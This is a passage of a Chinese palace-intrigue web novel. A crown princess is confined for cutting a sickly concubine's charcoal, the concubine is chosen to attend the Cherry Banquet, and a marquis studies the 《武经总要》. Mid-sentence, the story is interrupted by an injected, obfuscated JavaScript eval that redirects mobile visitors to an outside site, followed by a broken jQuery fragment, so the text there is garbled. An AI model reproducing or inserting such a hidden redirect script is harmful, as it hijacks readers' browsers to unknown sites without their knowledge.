魏如澜的手指掐进肉中,太子这一反问,只觉额角冷汗直流,她捂着胸口,仿佛受了天大的委屈。
“去年大灾年,各地均是入不敷出,就连腊月东宫修缮内院的所要费的银子,内帑都左支右绌,这才想着缩减后苑份例,应想妹妹向来体恤,自然能够理解妾身一番苦心,谁料在公主殿下的眼里,妾身竟成了刻薄妾室的罪人!”
魏如澜这话在钟鹤看来漏洞百出,但此事本是萧宁蓁为自己出头所引起的,自己不便发声,钟鹤一时陷入两难,沉吟片刻后,执过帕子轻咳嗽两声,
“妾身自然体谅太子妃殿下良苦用心,只是妾身身子骨弱,又加之前段时日旧疾复发,公主殿下也是一时情急,还望娘娘莫要怪罪她关心则乱。”
钟鹤的话倒是提醒了萧宁蓁崔韫珠体弱多病这一事,顺着说道:
“什么旧疾复发?我看分明就是因为这碳火不够才导致的病情加重,东宫纵然再怎么缩减份例,也不该缩到你头上!”
说完也不等魏如澜回话,又对萧宁璟道:
“太子妃殿下确无苛待之心,可缩减病人碳火,传出去,这刻薄妾室的帽子只怕要扣在哥哥头上!”
这帽子还没扣上,萧宁璟只想喊冤枉。
钟鹤低了眸子,心中只觉可笑。
若非是他素日里装聋作哑,只拿嘴巴当出气的使,魏如澜哪里有这般多的手段使在自己手上。
钟鹤望向萧宁蓁。
她看起来倒像是不打算善罢甘休的模样。
萧宁璟拂了拂袖,“既如此,那这段时日你便不要再插手府内事务,待在你自己房内好好思过吧!通知内坊局,栖云轩内份例照旧,银霜炭翻倍。”
钟鹤屈身,“妾身谢殿下恩典。”
萧宁璟问萧宁蓁道:“如此,可满意了?”
“思过?”萧宁蓁歪头轻笑,问道,“所以哥哥是要关太子妃禁足?”
萧宁璟微微皱眉。
实际上来说,确是如此,但名义上却不可这般明着说。
“若是禁足的话,哎呀!”萧宁蓁忽然想到什么似的,惊呼出声,“那月末父皇亲设的樱桃宴,太子妃殿下还能参加吗?”
!??
她话音刚落,满座哗然。
这樱桃宴原本是殿试之后恭贺新科进士及第所设,最初多为京中权贵自设,直至当今陛下践祚,头一次科举时下令由皇室筹办,无论贵贱,均可参加,自此成为定制。
因着是为庆贺新科进士,能赴宴的女眷少之又少,太子妃则在其中的行列。
萧宁璟实是不知自己这位小妹,葫芦里究竟卖的什么药,“这……”
萧宁蓁补了一句,“若只禁上半月,只怕旁人会觉得哥哥太过仁慈。”
萧宁璟稍作思索,只道:“那便不去了吧?”
“殿下!”
魏如澜这下是彻底慌了,“可这往年的樱桃宴都是妾身陪你一同前往,今年妾身怎能不在呢?”
“这樱桃宴又没说非得带正妻,文信伯上次不就带了他那个二房吗?”萧宁蓁勾了勾唇,接着道,“我看不如今年的樱桃宴,便让韫珠陪着哥哥前往吧。”
魏如澜气得嘴都要歪了。
文信伯带二房是因为他正妻亡故,何况那位二夫人当年的秋月便已扶正了!
萧宁蓁拉过钟鹤的手,撒着娇,“好不好嘛韫珠?这宴上可是朱樱可是难得一见的鲜品,可好吃了!你得好好尝尝。”
这事来的太过突然,钟鹤一点准备都无,仓皇道:“这……实在不合礼法。”
萧宁蓁松了手,一屁股坐到萧宁璟的身侧,说道:“哪里便不合规矩了,我听闻韫珠的亲弟在就在此次殿试的名单中,想来这樱桃宴的座次定要靠前,你若能赴宴,说不定便能亲看他簪花的模样!”
萧宁蓁此言倒是提醒萧宁璟了,他目光落在钟鹤的身上,半眯了眯眼,“你的亲弟?可是那位与你在清河并称崔氏双珠的崔家小公子?”
钟鹤只好点头,回道:“确是妾身的小弟拙言。”
“他名次这般高,倒确实可与你同举。”原本对此事尚有疑虑的萧宁璟此刻眉头尽数舒展,微微颔首,应道:“那这次的樱桃宴,便由韫珠随孤前往吧!”
钟鹤下拜,“妾身谢过殿下。”
瞧见钟鹤谢恩的模样,魏如澜只觉咬碎了一口牙还得往肚子里咽。
回到自己的垂华殿内更是乌泱泱砸了一片东西,众宫人皆屏息凝神,生怕再去惹了这位太子妃殿下。
“好你个崔韫珠,竟敢和我这般作对!”
张嬷嬷连连上前为她顺着气,责怪道:“太子殿下今日也实是太不给娘娘面子了,怎能让那等贱人顶了娘娘赴宴呢?”
见张嬷嬷竟连太子都指摘,魏如澜顶了回去,
“殿下平时从不这样的!”
可又想到萧宁璟今日的丝毫没有为自己说情的情景,更是切齿拊心,恨恨道:
“殿下定是受了那狐媚子的挑唆才一时昏了头!”
将祸水一路引至钟鹤的身上,一切便顺理成章了多。
魏如澜咬着牙继续骂道:“她不就是多读了几本书吗?什么清河第一才女,狗屁!还有她那个弟弟……一个贡士算个什么东西?我爹可是相国,他连给我提鞋都不配!”
魏如澜说着说着眸色愈发深沉,“贡士……呵。”
她仰面望向张嬷嬷,反问道:
“如若他考不上呢?”
*
回到栖云轩中,平日里狗眼看人低的内直监此刻脸上堆满了谄媚,身后端着各色物什的随从鱼贯而进,他指了指其中一个随从手上的东西,为钟鹤殷勤解释道:
“这是银霜炭,栖云轩内日后若是再少了,只管来内坊局再要便是。”
之前碰一鼻子灰的知蘅此刻见他这变色龙的模样,忍不住冷嘲挖苦道:“张大人,我上次来内坊局,您可不是这个态度啊!”
“呵呵……”内直监讪笑两声,“只怪下官不长眼睛,以后定是不敢了。”
萧宁蓁睨了一眼,威胁道:“你要再敢克扣韫珠的份例,本殿下定饶不了你!”
“是、是!下官谨遵殿下钧旨。”
钟鹤拉过萧宁蓁的手,“今日妾身还真是叫殿下见丑了。”
“这有什么!是那魏如澜实在可恶,我不过顺手的事。”
“为妾身之事耽搁这般久,还未问殿下今日前来所为何事呢?”
萧宁蓁这才想起此行目的,即道:“我听说你祖父藏书众多,一大半还跟着你来了京都。”
钟鹤稍稍思索,回道:“家祖的确好藏书,但随我入京的并非公主所听说的大半,想来民间传言实是夸张了。”
“那你带来的书可有《武经总要》
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047219|178999||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这本?”
“嗯?”
听到这四个字,钟鹤不由愕然,过往回忆在眼前浮现,她压下心中悸动,问道,“殿下怎么想到要看这本书了?”
“昨日和沈闻野聊天时谈起,有些好奇便想着拿来读,韫珠不会这般小气吧?”
沈闻野。
钟鹤轻抿唇,在心间细细摩挲着这三个字。
“一本书而已,若殿下想要,妾身岂会不给?只是……”钟鹤解释道,“妾身带往京都的藏书中,并没有《武经总要》。”
“没有?”
萧宁蓁有些泄气,“什么呀,我还特意跑一趟,竟还是空的!”
“妾身小弟拙言已进京,如若殿下实在想看,妾身下次寻机会找他问去。”
“嗯……也只能这样了!”
得了钟鹤的回复,萧宁蓁从榻上起身,“既如此,我便不多叨扰了,崔娘娘,咱们回见!”
钟鹤也随她站了起来,一路送萧宁蓁出栖云轩。
待萧宁蓁走后,钟鹤将栖云轩内所有人都遣了出去,弯腰从床榻下的隔板内抽出一个匣子。
匣子打开。
里面躺着一本泛着黄,但却似乎没什么翻过的痕迹的书。
她细细抚过封面上的字,兀自陷入沉思。
*
“武经总要……”
佑贰举着油灯,念了念书上封的字,忍不住嘀咕道,“侯爷怎么又拿起这本书来看了,不打仗也这般好学吗?”
砰。
书被沈闻野用力合上。
声响吓了两人一跳,原本聒噪的佑贰瞬间安静下来。
沈闻野望着书封,似有懊恼之色,轻抿了抿唇,将书小心收回到单独的书架上。
“今日东宫府上,可有异常?”
佑贰想了想,面露欣喜,“异常倒没有,就是看了出好戏!”
沈闻野轻挑长眉,
“说下去。”
佑贰便将今日至乐亭内四人的谈话详细说与他听。
在听到钟鹤苑内的银霜炭被内府司克扣时,沈闻野眉头微凝,问道:
“太子内直监,是何人?”
这太子内直监虽按官员品阶,可在六品,但从属东宫,实是没什么存在感,佑贰想了好半天才对上号,回道:
“好像似是个叫‘杨建白’的。”
这名字沈闻野没什么印象,但这姓便有意思了,他问道:“这‘杨’是哪家的‘杨’?”
“太子妃殿下亲母、魏家大夫人的那个‘杨’。”
果然。
一声冷笑自鼻腔内溢出,“看来魏家为了这位大小姐,在东宫费了不少心思啊。”
“侯爷是说,这是魏家的安排?”
沈闻野不置可否,示意他接着说道。
“太子妃殿下拿去年是大灾年故而缩减份例为借口挡了去,好在昭华公主仗义执言,那位太子妃殿下不仅被禁足,甚至就连春闱后的新科进士樱桃宴都被太子下令不许随他赴宴。”
沈闻野皱眉,“她不去,那谁去?”
“当然是那位崔娘娘呀!”佑贰说道,“说是她的亲弟也在这次春闱名册上,咱们朝就没有贡士落第的规矩,闯进春闱,这半张嘴就已然够到那朱樱饆鑼了。”
“没有贡士落第?”
沈闻野抬眸,眼中晦暗不明,“未必吧。”